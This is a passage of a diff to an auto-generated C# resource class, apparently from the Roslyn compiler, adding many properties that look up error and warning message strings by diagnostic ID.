GetResourceString("WRN_NoSources_Title"); + + internal static string ERR_ExpectedSingleScript => GetResourceString("ERR_ExpectedSingleScript"); + + internal static string ERR_OpenResponseFile => GetResourceString("ERR_OpenResponseFile"); + + internal static string ERR_CantOpenFileWrite => GetResourceString("ERR_CantOpenFileWrite"); + + internal static string ERR_BadBaseNumber => GetResourceString("ERR_BadBaseNumber"); + + internal static string ERR_BinaryFile => GetResourceString("ERR_BinaryFile"); + + internal static string FTL_BadCodepage => GetResourceString("FTL_BadCodepage"); + + internal static string FTL_BadChecksumAlgorithm => GetResourceString("FTL_BadChecksumAlgorithm"); + + internal static string ERR_NoMainOnDLL => GetResourceString("ERR_NoMainOnDLL"); + + internal static string FTL_InvalidTarget => GetResourceString("FTL_InvalidTarget"); + + internal static string FTL_InvalidInputFileName => GetResourceString("FTL_InvalidInputFileName"); + + internal static string WRN_NoConfigNotOnCommandLine => GetResourceString("WRN_NoConfigNotOnCommandLine"); + + internal static string WRN_NoConfigNotOnCommandLine_Title => GetResourceString("WRN_NoConfigNotOnCommandLine_Title"); + + internal static string ERR_InvalidFileAlignment => GetResourceString("ERR_InvalidFileAlignment"); + + internal static string ERR_InvalidOutputName => GetResourceString("ERR_InvalidOutputName"); + + internal static string ERR_InvalidDebugInformationFormat => GetResourceString("ERR_InvalidDebugInformationFormat"); + + internal static string ERR_LegacyObjectIdSyntax => GetResourceString("ERR_LegacyObjectIdSyntax"); + + internal static string WRN_DefineIdentifierRequired => GetResourceString("WRN_DefineIdentifierRequired"); + + internal static string WRN_DefineIdentifierRequired_Title => GetResourceString("WRN_DefineIdentifierRequired_Title"); + + internal static string FTL_OutputFileExists => GetResourceString("FTL_OutputFileExists"); + + internal static string ERR_OneAliasPerReference => GetResourceString("ERR_OneAliasPerReference"); + + internal static string ERR_SwitchNeedsNumber => GetResourceString("ERR_SwitchNeedsNumber"); + + internal static string ERR_MissingDebugSwitch => GetResourceString("ERR_MissingDebugSwitch"); + + internal static string ERR_ComRefCallInExpressionTree => GetResourceString("ERR_ComRefCallInExpressionTree"); + + internal static string ERR_InvalidFormatForGuidForOption => GetResourceString("ERR_InvalidFormatForGuidForOption"); + + internal static string ERR_MissingGuidForOption => GetResourceString("ERR_MissingGuidForOption"); + + internal static string WRN_CLS_NoVarArgs => GetResourceString("WRN_CLS_NoVarArgs"); + + internal static string WRN_CLS_NoVarArgs_Title => GetResourceString("WRN_CLS_NoVarArgs_Title"); + + internal static string WRN_CLS_BadArgType => GetResourceString("WRN_CLS_BadArgType"); + + internal static string WRN_CLS_BadArgType_Title => GetResourceString("WRN_CLS_BadArgType_Title"); + + internal static string WRN_CLS_BadReturnType => GetResourceString("WRN_CLS_BadReturnType"); + + internal static string WRN_CLS_BadReturnType_Title => GetResourceString("WRN_CLS_BadReturnType_Title"); + + internal static string WRN_CLS_BadFieldPropType => GetResourceString("WRN_CLS_BadFieldPropType"); + + internal static string WRN_CLS_BadFieldPropType_Title => GetResourceString("WRN_CLS_BadFieldPropType_Title"); + + internal static string WRN_CLS_BadFieldPropType_Description => GetResourceString("WRN_CLS_BadFieldPropType_Description"); + + internal static string WRN_CLS_BadIdentifierCase => GetResourceString("WRN_CLS_BadIdentifierCase"); + + internal static string WRN_CLS_BadIdentifierCase_Title => GetResourceString("WRN_CLS_BadIdentifierCase_Title"); + + internal static string WRN_CLS_OverloadRefOut => GetResourceString("WRN_CLS_OverloadRefOut"); + + internal static string WRN_CLS_OverloadRefOut_Title => GetResourceString("WRN_CLS_OverloadRefOut_Title"); + + internal static string WRN_CLS_OverloadUnnamed => GetResourceString("WRN_CLS_OverloadUnnamed"); + + internal static string WRN_CLS_OverloadUnnamed_Title => GetResourceString("WRN_CLS_OverloadUnnamed_Title"); + + internal static string WRN_CLS_OverloadUnnamed_Description => GetResourceString("WRN_CLS_OverloadUnnamed_Description"); + + internal static string WRN_CLS_BadIdentifier => GetResourceString("WRN_CLS_BadIdentifier"); + + internal static string WRN_CLS_BadIdentifier_Title => GetResourceString("WRN_CLS_BadIdentifier_Title"); + + internal static string WRN_CLS_BadBase => GetResourceString("WRN_CLS_BadBase"); + + internal static string WRN_CLS_BadBase_Title => GetResourceString("WRN_CLS_BadBase_Title"); + + internal static string WRN_CLS_BadBase_Description => GetResourceString("WRN_CLS_BadBase_Description"); + + internal static string WRN_CLS_BadInterfaceMember => GetResourceString("WRN_CLS_BadInterfaceMember"); + + internal static string WRN_CLS_BadInterfaceMember_Title => GetResourceString("WRN_CLS_BadInterfaceMember_Title"); + + internal static string WRN_CLS_NoAbstractMembers => GetResourceString("WRN_CLS_NoAbstractMembers"); + + internal static string WRN_CLS_NoAbstractMembers_Title => GetResourceString("WRN_CLS_NoAbstractMembers_Title"); + + internal static string WRN_CLS_NotOnModules => GetResourceString("WRN_CLS_NotOnModules"); + + internal static string WRN_CLS_NotOnModules_Title => GetResourceString("WRN_CLS_NotOnModules_Title"); + + internal static string WRN_CLS_ModuleMissingCLS => GetResourceString("WRN_CLS_ModuleMissingCLS"); + + internal static string WRN_CLS_ModuleMissingCLS_Title => GetResourceString("WRN_CLS_ModuleMissingCLS_Title"); + + internal static string WRN_CLS_AssemblyNotCLS => GetResourceString("WRN_CLS_AssemblyNotCLS"); + + internal static string WRN_CLS_AssemblyNotCLS_Title => GetResourceString("WRN_CLS_AssemblyNotCLS_Title"); + + internal static string WRN_CLS_BadAttributeType => GetResourceString("WRN_CLS_BadAttributeType"); + + internal static string WRN_CLS_BadAttributeType_Title => GetResourceString("WRN_CLS_BadAttributeType_Title"); + + internal static string WRN_CLS_ArrayArgumentToAttribute => GetResourceString("WRN_CLS_ArrayArgumentToAttribute"); + + internal static string WRN_CLS_ArrayArgumentToAttribute_Title => GetResourceString("WRN_CLS_ArrayArgumentToAttribute_Title"); + + internal static string WRN_CLS_NotOnModules2 => GetResourceString("WRN_CLS_NotOnModules2"); + + internal static string WRN_CLS_NotOnModules2_Title => GetResourceString("WRN_CLS_NotOnModules2_Title"); + + internal static string WRN_CLS_IllegalTrueInFalse => GetResourceString("WRN_CLS_IllegalTrueInFalse"); + + internal static string WRN_CLS_IllegalTrueInFalse_Title => GetResourceString("WRN_CLS_IllegalTrueInFalse_Title"); + + internal static string WRN_CLS_MeaninglessOnPrivateType => GetResourceString("WRN_CLS_MeaninglessOnPrivateType"); + + internal static string WRN_CLS_MeaninglessOnPrivateType_Title => GetResourceString("WRN_CLS_MeaninglessOnPrivateType_Title"); + + internal static string WRN_CLS_AssemblyNotCLS2 => GetResourceString("WRN_CLS_AssemblyNotCLS2"); + + internal static string WRN_CLS_AssemblyNotCLS2_Title => GetResourceString("WRN_CLS_AssemblyNotCLS2_Title"); + + internal static string WRN_CLS_MeaninglessOnParam => GetResourceString("WRN_CLS_MeaninglessOnParam"); + + internal static string WRN_CLS_MeaninglessOnParam_Title => GetResourceString("WRN_CLS_MeaninglessOnParam_Title"); + + internal static string WRN_CLS_MeaninglessOnReturn => GetResourceString("WRN_CLS_MeaninglessOnReturn"); + + internal static string WRN_CLS_MeaninglessOnReturn_Title => GetResourceString("WRN_CLS_MeaninglessOnReturn_Title"); + + internal static string WRN_CLS_BadTypeVar => GetResourceString("WRN_CLS_BadTypeVar"); + + internal static string WRN_CLS_BadTypeVar_Title => GetResourceString("WRN_CLS_BadTypeVar_Title"); + + internal static string WRN_CLS_VolatileField => GetResourceString("WRN_CLS_VolatileField"); + + internal static string WRN_CLS_VolatileField_Title => GetResourceString("WRN_CLS_VolatileField_Title"); + + internal static string WRN_CLS_BadInterface => GetResourceString("WRN_CLS_BadInterface"); + + internal static string WRN_CLS_BadInterface_Title => GetResourceString("WRN_CLS_BadInterface_Title"); + + internal static string ERR_BadAwaitArg => GetResourceString("ERR_BadAwaitArg"); + + internal static string ERR_BadAwaitArgIntrinsic => GetResourceString("ERR_BadAwaitArgIntrinsic"); + + internal static string ERR_BadAwaiterPattern => GetResourceString("ERR_BadAwaiterPattern"); + + internal static string ERR_BadAwaitArg_NeedSystem => GetResourceString("ERR_BadAwaitArg_NeedSystem"); + + internal static string ERR_BadAwaitArgVoidCall => GetResourceString("ERR_BadAwaitArgVoidCall"); + + internal static string ERR_BadAwaitAsIdentifier => GetResourceString("ERR_BadAwaitAsIdentifier"); + + internal static string ERR_DoesntImplementAwaitInterface => GetResourceString("ERR_DoesntImplementAwaitInterface"); + + internal static string ERR_TaskRetNoObjectRequired => GetResourceString("ERR_TaskRetNoObjectRequired"); + + internal static string ERR_BadAsyncReturn => GetResourceString("ERR_BadAsyncReturn"); + + internal static string ERR_WrongArityAsyncReturn => GetResourceString("ERR_WrongArityAsyncReturn"); + + internal static string ERR_CantReturnVoid => GetResourceString("ERR_CantReturnVoid"); + + internal static string ERR_VarargsAsync => GetResourceString("ERR_VarargsAsync"); + + internal static string ERR_ByRefTypeAndAwait => GetResourceString("ERR_ByRefTypeAndAwait"); + + internal static string ERR_UnsafeAsyncArgType => GetResourceString("ERR_UnsafeAsyncArgType"); + + internal static string ERR_BadAsyncArgType => GetResourceString("ERR_BadAsyncArgType"); + + internal static string ERR_BadAwaitWithoutAsync => GetResourceString("ERR_BadAwaitWithoutAsync"); + + internal static string ERR_BadAwaitWithoutAsyncLambda => GetResourceString("ERR_BadAwaitWithoutAsyncLambda"); + + internal static string ERR_BadAwaitWithoutAsyncMethod => GetResourceString("ERR_BadAwaitWithoutAsyncMethod"); + + internal static string ERR_BadAwaitWithoutVoidAsyncMethod => GetResourceString("ERR_BadAwaitWithoutVoidAsyncMethod"); + + internal static string ERR_BadAwaitInFinally => GetResourceString("ERR_BadAwaitInFinally"); + + internal static string ERR_BadAwaitInCatch => GetResourceString("ERR_BadAwaitInCatch"); + + internal static string ERR_BadAwaitInCatchFilter => GetResourceString("ERR_BadAwaitInCatchFilter"); + + internal static string ERR_BadAwaitInLock => GetResourceString("ERR_BadAwaitInLock"); + + internal static string ERR_BadAwaitInStaticVariableInitializer => GetResourceString("ERR_BadAwaitInStaticVariableInitializer"); + + internal static string ERR_AwaitInUnsafeContext => GetResourceString("ERR_AwaitInUnsafeContext"); + + internal static string ERR_BadAsyncLacksBody => GetResourceString("ERR_BadAsyncLacksBody"); + + internal static string ERR_BadSpecialByRefLocal => GetResourceString("ERR_BadSpecialByRefLocal"); + + internal static string ERR_BadSpecialByRefUsing => GetResourceString("ERR_BadSpecialByRefUsing"); + + internal static string ERR_BadSpecialByRefIterator => GetResourceString("ERR_BadSpecialByRefIterator"); + + internal static string ERR_SecurityCriticalOrSecuritySafeCriticalOnAsync => GetResourceString("ERR_SecurityCriticalOrSecuritySafeCriticalOnAsync"); + + internal static string ERR_SecurityCriticalOrSecuritySafeCriticalOnAsyncInClassOrStruct => GetResourceString("ERR_SecurityCriticalOrSecuritySafeCriticalOnAsyncInClassOrStruct"); + + internal static string ERR_BadAwaitInQuery => GetResourceString("ERR_BadAwaitInQuery"); + + internal static string WRN_AsyncLacksAwaits => GetResourceString("WRN_AsyncLacksAwaits"); + + internal static string WRN_AsyncLacksAwaits_Title => GetResourceString("WRN_AsyncLacksAwaits_Title"); + + internal static string WRN_UnobservedAwaitableExpression => GetResourceString("WRN_UnobservedAwaitableExpression"); + + internal static string WRN_UnobservedAwaitableExpression_Title => GetResourceString("WRN_UnobservedAwaitableExpression_Title"); + + internal static string WRN_UnobservedAwaitableExpression_Description => GetResourceString("WRN_UnobservedAwaitableExpression_Description"); + + internal static string ERR_SynchronizedAsyncMethod => GetResourceString("ERR_SynchronizedAsyncMethod"); + + internal static string ERR_NoConversionForCallerLineNumberParam => GetResourceString("ERR_NoConversionForCallerLineNumberParam"); + + internal static string ERR_NoConversionForCallerFilePathParam => GetResourceString("ERR_NoConversionForCallerFilePathParam"); + + internal static string ERR_NoConversionForCallerMemberNameParam => GetResourceString("ERR_NoConversionForCallerMemberNameParam"); + + internal static string ERR_BadCallerLineNumberParamWithoutDefaultValue => GetResourceString("ERR_BadCallerLineNumberParamWithoutDefaultValue"); + + internal static string ERR_BadCallerFilePathParamWithoutDefaultValue => GetResourceString("ERR_BadCallerFilePathParamWithoutDefaultValue"); + + internal static string ERR_BadCallerMemberNameParamWithoutDefaultValue => GetResourceString("ERR_BadCallerMemberNameParamWithoutDefaultValue"); + + internal static string WRN_CallerLineNumberParamForUnconsumedLocation => GetResourceString("WRN_CallerLineNumberParamForUnconsumedLocation"); + + internal static string WRN_CallerLineNumberParamForUnconsumedLocation_Title => GetResourceString("WRN_CallerLineNumberParamForUnconsumedLocation_Title"); + + internal static string WRN_CallerFilePathParamForUnconsumedLocation => GetResourceString("WRN_CallerFilePathParamForUnconsumedLocation"); + + internal static string WRN_CallerFilePathParamForUnconsumedLocation_Title => GetResourceString("WRN_CallerFilePathParamForUnconsumedLocation_Title"); + + internal static string WRN_CallerMemberNameParamForUnconsumedLocation => GetResourceString("WRN_CallerMemberNameParamForUnconsumedLocation"); + + internal static string WRN_CallerMemberNameParamForUnconsumedLocation_Title => GetResourceString("WRN_CallerMemberNameParamForUnconsumedLocation_Title"); + + internal static string ERR_NoEntryPoint => GetResourceString("ERR_NoEntryPoint"); + + internal static string ERR_ArrayInitializerIncorrectLength => GetResourceString("ERR_ArrayInitializerIncorrectLength"); + + internal static string ERR_ArrayInitializerExpected => GetResourceString("ERR_ArrayInitializerExpected"); + + internal static string ERR_IllegalVarianceSyntax => GetResourceString("ERR_IllegalVarianceSyntax"); + + internal static string ERR_UnexpectedAliasedName => GetResourceString("ERR_UnexpectedAliasedName"); + + internal static string ERR_UnexpectedGenericName => GetResourceString("ERR_UnexpectedGenericName"); + + internal static string ERR_UnexpectedUnboundGenericName => GetResourceString("ERR_UnexpectedUnboundGenericName"); + + internal static string ERR_GlobalStatement => GetResourceString("ERR_GlobalStatement"); + + internal static string ERR_NamedArgumentForArray => GetResourceString("ERR_NamedArgumentForArray"); + + internal static string ERR_NotYetImplementedInRoslyn => GetResourceString("ERR_NotYetImplementedInRoslyn"); + + internal static string ERR_DefaultValueNotAllowed => GetResourceString("ERR_DefaultValueNotAllowed"); + + internal static string ERR_CantOpenIcon => GetResourceString("ERR_CantOpenIcon"); + + internal static string ERR_CantOpenWin32Manifest => GetResourceString("ERR_CantOpenWin32Manifest"); + + internal static string ERR_ErrorBuildingWin32Resources => GetResourceString("ERR_ErrorBuildingWin32Resources"); + + internal static string ERR_DefaultValueBeforeRequiredValue => GetResourceString("ERR_DefaultValueBeforeRequiredValue"); + + internal static string ERR_ExplicitImplCollisionOnRefOut => GetResourceString("ERR_ExplicitImplCollisionOnRefOut"); + + internal static string ERR_PartialWrongTypeParamsVariance => GetResourceString("ERR_PartialWrongTypeParamsVariance"); + + internal static string ERR_UnexpectedVariance => GetResourceString("ERR_UnexpectedVariance"); + + internal static string ERR_UnexpectedVarianceStaticMember => GetResourceString("ERR_UnexpectedVarianceStaticMember"); + + internal static string ERR_DeriveFromDynamic => GetResourceString("ERR_DeriveFromDynamic"); + + internal static string ERR_DeriveFromConstructedDynamic => GetResourceString("ERR_DeriveFromConstructedDynamic"); + + internal static string ERR_DynamicTypeAsBound => GetResourceString("ERR_DynamicTypeAsBound"); + + internal static string ERR_ConstructedDynamicTypeAsBound => GetResourceString("ERR_ConstructedDynamicTypeAsBound"); + + internal static string ERR_DynamicRequiredTypesMissing => GetResourceString("ERR_DynamicRequiredTypesMissing"); + + internal static string ERR_MetadataNameTooLong => GetResourceString("ERR_MetadataNameTooLong"); + + internal static string ERR_AttributesNotAllowed => GetResourceString("ERR_AttributesNotAllowed"); + + internal static string ERR_AttributesRequireParenthesizedLambdaExpression => GetResourceString("ERR_AttributesRequireParenthesizedLambdaExpression"); + + internal static string ERR_ExternAliasNotAllowed => GetResourceString("ERR_ExternAliasNotAllowed"); + + internal static string WRN_IsDynamicIsConfusing => GetResourceString("WRN_IsDynamicIsConfusing"); + + internal static string WRN_IsDynamicIsConfusing_Title => GetResourceString("WRN_IsDynamicIsConfusing_Title"); + + internal static string ERR_YieldNotAllowedInScript => GetResourceString("ERR_YieldNotAllowedInScript"); + + internal static string ERR_NamespaceNotAllowedInScript => GetResourceString("ERR_NamespaceNotAllowedInScript"); + + internal static string ERR_GlobalAttributesNotAllowed => GetResourceString("ERR_GlobalAttributesNotAllowed"); + + internal static string ERR_InvalidDelegateType => GetResourceString("ERR_InvalidDelegateType"); + + internal static string WRN_MainIgnored => GetResourceString("WRN_MainIgnored"); + + internal static string WRN_MainIgnored_Title => GetResourceString("WRN_MainIgnored_Title"); + + internal static string WRN_StaticInAsOrIs => GetResourceString("WRN_StaticInAsOrIs"); + + internal static string WRN_StaticInAsOrIs_Title => GetResourceString("WRN_StaticInAsOrIs_Title"); + + internal static string ERR_BadVisEventType => GetResourceString("ERR_BadVisEventType"); + + internal static string ERR_NamedArgumentSpecificationBeforeFixedArgument => GetResourceString("ERR_NamedArgumentSpecificationBeforeFixedArgument"); + + internal static string ERR_NamedArgumentSpecificationBeforeFixedArgumentInDynamicInvocation => GetResourceString("ERR_NamedArgumentSpecificationBeforeFixedArgumentInDynamicInvocation"); + + internal static string ERR_BadNamedArgument => GetResourceString("ERR_BadNamedArgument"); + + internal static string ERR_BadNamedArgumentForDelegateInvoke => GetResourceString("ERR_BadNamedArgumentForDelegateInvoke"); + + internal static string ERR_DuplicateNamedArgument => GetResourceString("ERR_DuplicateNamedArgument"); + + internal static string ERR_NamedArgumentUsedInPositional => GetResourceString("ERR_NamedArgumentUsedInPositional"); + + internal static string ERR_BadNonTrailingNamedArgument => GetResourceString("ERR_BadNonTrailingNamedArgument"); + + internal static string ERR_DefaultValueUsedWithAttributes => GetResourceString("ERR_DefaultValueUsedWithAttributes"); + + internal static string ERR_DefaultValueMustBeConstant => GetResourceString("ERR_DefaultValueMustBeConstant"); + + internal static string ERR_RefOutDefaultValue => GetResourceString("ERR_RefOutDefaultValue"); + + internal static string ERR_DefaultValueForExtensionParameter => GetResourceString("ERR_DefaultValueForExtensionParameter"); + + internal static string ERR_DefaultValueForParamsParameter => GetResourceString("ERR_DefaultValueForParamsParameter"); + + internal static string ERR_NoConversionForDefaultParam => GetResourceString("ERR_NoConversionForDefaultParam"); + + internal static string ERR_NoConversionForNubDefaultParam => GetResourceString("ERR_NoConversionForNubDefaultParam"); + + internal static string ERR_NotNullRefDefaultParameter => GetResourceString("ERR_NotNullRefDefaultParameter"); + + internal static string WRN_DefaultValueForUnconsumedLocation => GetResourceString("WRN_DefaultValueForUnconsumedLocation"); + + internal static string WRN_DefaultValueForUnconsumedLocation_Title => GetResourceString("WRN_DefaultValueForUnconsumedLocation_Title"); + + internal static string WRN_RefReadonlyParameterDefaultValue => GetResourceString("WRN_RefReadonlyParameterDefaultValue"); + + internal static string WRN_RefReadonlyParameterDefaultValue_Title => GetResourceString("WRN_RefReadonlyParameterDefaultValue_Title"); + + internal static string ERR_PublicKeyFileFailure => GetResourceString("ERR_PublicKeyFileFailure"); + + internal static string ERR_PublicKeyContainerFailure => GetResourceString("ERR_PublicKeyContainerFailure"); + + internal static string ERR_BadDynamicTypeof => GetResourceString("ERR_BadDynamicTypeof"); + + internal static string ERR_BadNullableTypeof => GetResourceString("ERR_BadNullableTypeof"); + + internal static string ERR_ExpressionTreeContainsDynamicOperation => GetResourceString("ERR_ExpressionTreeContainsDynamicOperation"); + + internal static string ERR_BadAsyncExpressionTree => GetResourceString("ERR_BadAsyncExpressionTree"); + + internal static string ERR_DynamicAttributeMissing => GetResourceString("ERR_DynamicAttributeMissing"); + + internal static string ERR_CannotPassNullForFriendAssembly => GetResourceString("ERR_CannotPassNullForFriendAssembly"); + + internal static string ERR_SignButNoPrivateKey => GetResourceString("ERR_SignButNoPrivateKey"); + + internal static string ERR_PublicSignButNoKey => GetResourceString("ERR_PublicSignButNoKey"); + + internal static string ERR_PublicSignNetModule => GetResourceString("ERR_PublicSignNetModule"); + + internal static string WRN_DelaySignButNoKey => GetResourceString("WRN_DelaySignButNoKey"); + + internal static string WRN_DelaySignButNoKey_Title => GetResourceString("WRN_DelaySignButNoKey_Title"); + + internal static string ERR_InvalidVersionFormat => GetResourceString("ERR_InvalidVersionFormat"); + + internal static string ERR_InvalidVersionFormatDeterministic => GetResourceString("ERR_InvalidVersionFormatDeterministic"); + + internal static string ERR_InvalidVersionFormat2 => GetResourceString("ERR_InvalidVersionFormat2"); + + internal static string WRN_InvalidVersionFormat => GetResourceString("WRN_InvalidVersionFormat"); + + internal static string WRN_InvalidVersionFormat_Title => GetResourceString("WRN_InvalidVersionFormat_Title"); + + internal static string ERR_InvalidAssemblyCultureForExe => GetResourceString("ERR_InvalidAssemblyCultureForExe"); + + internal static string ERR_NoCorrespondingArgument => GetResourceString("ERR_NoCorrespondingArgument"); + + internal static string WRN_UnimplementedCommandLineSwitch => GetResourceString("WRN_UnimplementedCommandLineSwitch"); + + internal static string WRN_UnimplementedCommandLineSwitch_Title => GetResourceString("WRN_UnimplementedCommandLineSwitch_Title"); + + internal static string ERR_ModuleEmitFailure => GetResourceString("ERR_ModuleEmitFailure"); + + internal static string ERR_FixedLocalInLambda => GetResourceString("ERR_FixedLocalInLambda"); + + internal static string ERR_ExpressionTreeContainsNamedArgument => GetResourceString("ERR_ExpressionTreeContainsNamedArgument"); + + internal static string ERR_ExpressionTreeContainsOptionalArgument => GetResourceString("ERR_ExpressionTreeContainsOptionalArgument"); + + internal static string ERR_ExpressionTreeContainsIndexedProperty => GetResourceString("ERR_ExpressionTreeContainsIndexedProperty"); + + internal static string ERR_IndexedPropertyRequiresParams => GetResourceString("ERR_IndexedPropertyRequiresParams"); + + internal static string ERR_IndexedPropertyMustHaveAllOptionalParams => GetResourceString("ERR_IndexedPropertyMustHaveAllOptionalParams"); + + internal static string ERR_SpecialByRefInLambda => GetResourceString("ERR_SpecialByRefInLambda"); + + internal static string ERR_SecurityAttributeMissingAction => GetResourceString("ERR_SecurityAttributeMissingAction"); + + internal static string ERR_SecurityAttributeInvalidAction => GetResourceString("ERR_SecurityAttributeInvalidAction"); + + internal static string ERR_SecurityAttributeInvalidActionAssembly => GetResourceString("ERR_SecurityAttributeInvalidActionAssembly"); + + internal static string ERR_SecurityAttributeInvalidActionTypeOrMethod => GetResourceString("ERR_SecurityAttributeInvalidActionTypeOrMethod"); + + internal static string ERR_PrincipalPermissionInvalidAction => GetResourceString("ERR_PrincipalPermissionInvalidAction"); + + internal static string ERR_FeatureNotValidInExpressionTree => GetResourceString("ERR_FeatureNotValidInExpressionTree"); + + internal static string ERR_PermissionSetAttributeInvalidFile => GetResourceString("ERR_PermissionSetAttributeInvalidFile"); + + internal static string ERR_PermissionSetAttributeFileReadError => GetResourceString("ERR_PermissionSetAttributeFileReadError"); + + internal static string ERR_GlobalSingleTypeNameNotFoundFwd => GetResourceString("ERR_GlobalSingleTypeNameNotFoundFwd"); + + internal static string ERR_DottedTypeNameNotFoundInNSFwd => GetResourceString("ERR_DottedTypeNameNotFoundInNSFwd"); + + internal static string ERR_SingleTypeNameNotFoundFwd => GetResourceString("ERR_SingleTypeNameNotFoundFwd"); + + internal static string ERR_AssemblySpecifiedForLinkAndRef => GetResourceString("ERR_AssemblySpecifiedForLinkAndRef"); + + internal static string WRN_DeprecatedCollectionInitAdd => GetResourceString("WRN_DeprecatedCollectionInitAdd"); + + internal static string WRN_DeprecatedCollectionInitAdd_Title => GetResourceString("WRN_DeprecatedCollectionInitAdd_Title"); + + internal static string WRN_DeprecatedCollectionInitAddStr => GetResourceString("WRN_DeprecatedCollectionInitAddStr"); + + internal static string WRN_DeprecatedCollectionInitAddStr_Title => GetResourceString("WRN_DeprecatedCollectionInitAddStr_Title"); + + internal static string ERR_DeprecatedCollectionInitAddStr => GetResourceString("ERR_DeprecatedCollectionInitAddStr"); + + internal static string ERR_SecurityAttributeInvalidTarget => GetResourceString("ERR_SecurityAttributeInvalidTarget"); + + internal static string ERR_BadDynamicMethodArg => GetResourceString("ERR_BadDynamicMethodArg"); + + internal static string ERR_BadDynamicMethodArgLambda => GetResourceString("ERR_BadDynamicMethodArgLambda"); + + internal static string ERR_BadDynamicMethodArgMemgrp => GetResourceString("ERR_BadDynamicMethodArgMemgrp"); + + internal static string ERR_NoDynamicPhantomOnBase => GetResourceString("ERR_NoDynamicPhantomOnBase"); + + internal static string ERR_BadDynamicQuery => GetResourceString("ERR_BadDynamicQuery"); + + internal static string ERR_NoDynamicPhantomOnBaseIndexer => GetResourceString("ERR_NoDynamicPhantomOnBaseIndexer"); + + internal static string WRN_DynamicDispatchToConditionalMethod => GetResourceString("WRN_DynamicDispatchToConditionalMethod"); + + internal static string WRN_DynamicDispatchToConditionalMethod_Title => GetResourceString("WRN_DynamicDispatchToConditionalMethod_Title"); + + internal static string ERR_BadArgTypeDynamicExtension => GetResourceString("ERR_BadArgTypeDynamicExtension"); + + internal static string WRN_CallerFilePathPreferredOverCallerMemberName => GetResourceString("WRN_CallerFilePathPreferredOverCallerMemberName"); + + internal static string WRN_CallerFilePathPreferredOverCallerMemberName_Title => GetResourceString("WRN_CallerFilePathPreferredOverCallerMemberName_Title"); + + internal static string WRN_CallerLineNumberPreferredOverCallerMemberName => GetResourceString("WRN_CallerLineNumberPreferredOverCallerMemberName"); + + internal static string WRN_CallerLineNumberPreferredOverCallerMemberName_Title => GetResourceString("WRN_CallerLineNumberPreferredOverCallerMemberName_Title"); + + internal static string WRN_CallerLineNumberPreferredOverCallerFilePath => GetResourceString("WRN_CallerLineNumberPreferredOverCallerFilePath"); + + internal static string WRN_CallerLineNumberPreferredOverCallerFilePath_Title => GetResourceString("WRN_CallerLineNumberPreferredOverCallerFilePath_Title"); + + internal static string ERR_InvalidDynamicCondition => GetResourceString("ERR_InvalidDynamicCondition"); + + internal static string ERR_MixingWinRTEventWithRegular => GetResourceString("ERR_MixingWinRTEventWithRegular"); + + internal static string WRN_CA2000_DisposeObjectsBeforeLosingScope1 => GetResourceString("WRN_CA2000_DisposeObjectsBeforeLosingScope1"); + + internal static string WRN_CA2000_DisposeObjectsBeforeLosingScope1_Title => GetResourceString("WRN_CA2000_DisposeObjectsBeforeLosingScope1_Title"); + + internal static string WRN_CA2000_DisposeObjectsBeforeLosingScope2 => GetResourceString("WRN_CA2000_DisposeObjectsBeforeLosingScope2"); + + internal static string WRN_CA2000_DisposeObjectsBeforeLosingScope2_Title => GetResourceString("WRN_CA2000_DisposeObjectsBeforeLosingScope2_Title"); + + internal static string WRN_CA2202_DoNotDisposeObjectsMultipleTimes => GetResourceString("WRN_CA2202_DoNotDisposeObjectsMultipleTimes"); + + internal static string WRN_CA2202_DoNotDisposeObjectsMultipleTimes_Title => GetResourceString("WRN_CA2202_DoNotDisposeObjectsMultipleTimes_Title"); + + internal static string ERR_NewCoClassOnLink => GetResourceString("ERR_NewCoClassOnLink"); + + internal static string ERR_NoPIANestedType => GetResourceString("ERR_NoPIANestedType"); + + internal static string ERR_GenericsUsedInNoPIAType => GetResourceString("ERR_GenericsUsedInNoPIAType"); + + internal static string ERR_InteropStructContainsMethods => GetResourceString("ERR_InteropStructContainsMethods"); + + internal static string ERR_WinRtEventPassedByRef => GetResourceString("ERR_WinRtEventPassedByRef"); + + internal static string ERR_MissingMethodOnSourceInterface => GetResourceString("ERR_MissingMethodOnSourceInterface"); + + internal static string ERR_MissingSourceInterface => GetResourceString("ERR_MissingSourceInterface"); + + internal static string ERR_InteropTypeMissingAttribute => GetResourceString("ERR_InteropTypeMissingAttribute"); + + internal static string ERR_NoPIAAssemblyMissingAttribute => GetResourceString("ERR_NoPIAAssemblyMissingAttribute"); + + internal static string ERR_NoPIAAssemblyMissingAttributes => GetResourceString("ERR_NoPIAAssemblyMissingAttributes"); + + internal static string ERR_InteropTypesWithSameNameAndGuid => GetResourceString("ERR_InteropTypesWithSameNameAndGuid"); + + internal static string ERR_LocalTypeNameClash => GetResourceString("ERR_LocalTypeNameClash"); + + internal static string WRN_ReferencedAssemblyReferencesLinkedPIA => GetResourceString("WRN_ReferencedAssemblyReferencesLinkedPIA"); + + internal static string WRN_ReferencedAssemblyReferencesLinkedPIA_Title => GetResourceString("WRN_ReferencedAssemblyReferencesLinkedPIA_Title"); + + internal static string WRN_ReferencedAssemblyReferencesLinkedPIA_Description => GetResourceString("WRN_ReferencedAssemblyReferencesLinkedPIA_Description"); + + internal static string ERR_GenericsUsedAcrossAssemblies => GetResourceString("ERR_GenericsUsedAcrossAssemblies"); + + internal static string ERR_NoCanonicalView => GetResourceString("ERR_NoCanonicalView"); + + internal static string ERR_NetModuleNameMismatch => GetResourceString("ERR_NetModuleNameMismatch"); + + internal static string ERR_BadModuleName => GetResourceString("ERR_BadModuleName"); + + internal static string ERR_BadCompilationOptionValue => GetResourceString("ERR_BadCompilationOptionValue"); + + internal static string ERR_BadAppConfigPath => GetResourceString("ERR_BadAppConfigPath"); + + internal static string WRN_AssemblyAttributeFromModuleIsOverridden => GetResourceString("WRN_AssemblyAttributeFromModuleIsOverridden"); + + internal static string WRN_AssemblyAttributeFromModuleIsOverridden_Title => GetResourceString("WRN_AssemblyAttributeFromModuleIsOverridden_Title"); + + internal static string ERR_CmdOptionConflictsSource => GetResourceString("ERR_CmdOptionConflictsSource"); + + internal static string ERR_FixedBufferTooManyDimensions => GetResourceString("ERR_FixedBufferTooManyDimensions"); + + internal static string WRN_ReferencedAssemblyDoesNotHaveStrongName => GetResourceString("WRN_ReferencedAssemblyDoesNotHaveStrongName"); + + internal static string WRN_ReferencedAssemblyDoesNotHaveStrongName_Title => GetResourceString("WRN_ReferencedAssemblyDoesNotHaveStrongName_Title"); + + internal static string ERR_InvalidSignaturePublicKey => GetResourceString("ERR_InvalidSignaturePublicKey"); + + internal static string ERR_ExportedTypeConflictsWithDeclaration => GetResourceString("ERR_ExportedTypeConflictsWithDeclaration"); + + internal 